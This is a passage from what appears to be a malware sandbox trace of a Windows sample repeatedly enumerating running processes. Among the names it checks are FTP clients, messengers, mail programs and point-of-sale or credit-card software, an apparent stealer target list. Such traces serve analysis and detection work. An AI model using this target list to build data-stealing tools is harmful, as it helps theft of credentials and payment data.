th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0027.653] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0027.654] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0027.654] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0027.654] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0027.655] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0027.655] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0027.656] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0027.656] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0027.657] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0027.657] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0027.658] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0027.658] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0027.659] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0027.659] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0027.660] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0027.661] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0027.661] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0027.662] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0027.663] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0027.664] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0027.664] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0027.665] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0027.666] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0027.666] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0027.667] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0027.668] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0027.668] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0027.669] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0027.670] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0027.670] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0027.671] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0027.672] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0027.672] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0027.673] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0027.673] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0027.674] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0027.675] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0027.730] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0027.731] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0027.731] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0027.732] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="eur.exe")) returned 1 [0027.732] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="residence_rate_imagine.exe")) returned 1 [0027.733] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0027.734] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0027.734] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0027.735] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0027.735] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="MARVEL.EXE.exe")) returned 1 [0027.736] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="MARVEL.EXE.exe")) returned 0 [0027.736] CloseHandle (hObject=0x170) returned 1 [0027.736] GetCurrentThread () returned 0xfffffffe [0027.736] WaitForSingleObject (hHandle=0xfffffffe, dwMilliseconds=0x64) returned 0x102 [0028.058] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb0 [0028.076] Process32FirstW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0028.077] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0028.077] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0028.078] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0028.078] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0028.078] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0028.079] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0028.079] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0028.080] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0028.080] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0028.081] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0028.082] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0028.082] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0028.083] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0028.083] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0028.084] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0028.084] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0028.085] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0028.085] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0028.086] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0028.086] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0028.087] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0028.087] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0028.088] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0028.088] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0028.089] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0028.089] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0028.089] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0028.090] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="functionality-complimentary-planner.exe")) returned 1 [0028.090] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trim.exe")) returned 1 [0028.091] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="performer_dan_matt.exe")) returned 1 [0028.091] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="letters.exe")) returned 1 [0028.092] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives-baths.exe")) returned 1 [0028.092] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jjcorrelation.exe")) returned 1 [0028.093] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="changelogthreadalbuquerque.exe")) returned 1 [0028.093] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, 